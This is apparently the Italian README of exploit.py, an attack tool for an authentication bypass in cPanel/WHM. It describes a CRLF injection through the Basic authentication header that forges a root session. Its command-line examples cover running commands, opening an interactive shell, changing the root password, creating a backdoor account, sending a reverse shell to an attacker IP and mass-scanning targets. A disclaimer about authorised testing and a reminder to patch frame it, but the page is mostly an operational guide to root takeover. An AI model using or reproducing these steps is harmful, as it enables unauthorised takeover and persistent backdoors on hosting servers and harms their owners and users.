CVE-2026-41940: Bypass dell'autenticazione in cPanel/WHM (singolo e multi-target)
Disclaimer: Questo documento e lo script associato (exploit.py) sono forniti esclusivamente a scopo didattico, per la ricerca sulla sicurezza e per test di penetrazione autorizzati. Non utilizzare questo software contro sistemi che non possiedi o per cui non disponi di esplicita autorizzazione al test.
Panoramica
exploit.py è uno script che dimostra una vulnerabilità di bypass dell'autenticazione (CVE-2026-41940) in cPanel e WHM. La vulnerabilità consente a un utente non autenticato di iniettare una sessione root nella cache del daemon tramite un difetto di injection CRLF, ottenendo infine accesso WHM a livello root senza richiedere credenziali valide.
Analisi della vulnerabilità e flusso dello sfruttamento
Lo sfruttamento si basa su una vulnerabilità di injection CRLF nel meccanismo di gestione dell'autenticazione Basic, combinata con un difetto di propagazione della sessione. Lo script automatizza l'attacco in quattro fasi:
- Coniazione della sessione pre-autenticazione: Si connette agli endpoint di login pubblici (es.
/login/ o /cgi/login.cgi) per acquisire un cookie di sessione di base non autenticato (whostmgrsession).
- Injection CRLF: Invia un header Basic Authentication appositamente costruito contenente un payload codificato in Base64 che inietta campi di sessione root direttamente nella cache di sessione
cpsrvd. La risposta di redirect del server divulga il token di sicurezza generato (cpsess).
- Propagazione della sessione: Il cookie di sessione grezzo viene inviato a un endpoint WHM autenticato, attivando
do_token_denied per propagare la sessione falsificata nella cache del daemon, rendendola una sessione autenticata valida.
- Verifica: Accede agli endpoint API WHM riservati (es.
/json-api/version) utilizzando la sessione falsificata per confermare l'accesso a livello root.
Prerequisiti
- Python 3.x
- Libreria
requests
Utilizzo
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
Argomenti
Selezione del target
| Argomento | Descrizione |
|---|
--target URL | Singolo URL WHM (es. https://target:2087) |
--target-file FILE | File con i target (un ip:port per riga) — abilita automaticamente la modalità di verifica |
Opzioni di rete e core
Opzioni di sfruttamento (post-bypass)
Opzioni di output
| Argomento | Descrizione |
|---|
--output FILE | Salva il token di sessione e i dettagli in un file JSON |
Esempi
# Check if target is vulnerable
python exploit.py --target https://target:2087 --check
# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump
# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session
# Execute a command
python exploit.py --target https://target:2087 --exec "id"
# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell
# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json
Comandi della shell interattiva
Quando si utilizza --shell, sono disponibili i seguenti comandi:
Promemoria
Applica immediatamente le più recenti patch di sicurezza di cPanel/WHM.